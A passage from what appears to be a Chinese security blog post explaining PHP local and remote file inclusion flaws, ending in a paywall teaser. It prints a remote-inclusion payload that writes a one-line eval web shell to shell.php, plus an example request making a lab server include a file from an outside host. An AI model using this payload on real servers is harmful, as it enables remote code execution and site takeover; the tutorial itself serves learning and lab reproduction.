文件包含介绍
服务器执行一个PHP文件时可以通过文件包含函数执行另一个文件,无论这个文件是不是PHP为其后缀,都可以当成PHP执行。这本身并不是漏洞,但是当其以其解析特性讲任意文件当成PHP解析,这时候漏洞就出来了,假如:我们上传一张包含木马的图片,按照它的特性当成PHP解析,这时候漏洞就产生了。感觉主要是其对解析和执行包含的文件未进行辨别和控制和严格过滤造成的。
文件包含分为本地文件包含和远程文件包含;本地文件时包含本地服务器的文件,比如:你上传文件到它服务器,它进行包含和执行,如果文件存在恶意代码它同样会当成PHP进行执行,而远程文件包含可以通过http包含别的地址非本地的文件,如:包含别的服务器的文件进行包含执行。
远程包含如:
<?fputs(fopen(“shell.php”,”w”),”<?php eval($_POST[xxx]);?>”)?>
远程包含如http://192.168.199.110/fileincl/example2.php?page=http://www.xxx.com/xxx.txt
此时在服务器根目录下就会生成shell.php文件,内容为一句话木马
<?php eval($_POST[xxx]);?>
远程文件包含需要PHPstudy的phpini文件中是allow_url_fopen是打开状态,远程文件包含才能用,&
本地文件包含&远程文件包含漏洞复现
最新推荐文章于 2024-10-09 16:40:06 发布
文件包含漏洞源于PHP的include和require等函数,当允许包含非PHP文件或远程文件时,可能导致恶意代码执行。本文介绍了本地文件包含和远程文件包含的概念,讲解了如何复现这两种漏洞,包括利用条件、函数搜索和绕过白名单的技巧,并提供了实际的POC示例。
最低0.47元/天 解锁文章
509

被折叠的 条评论
为什么被折叠?



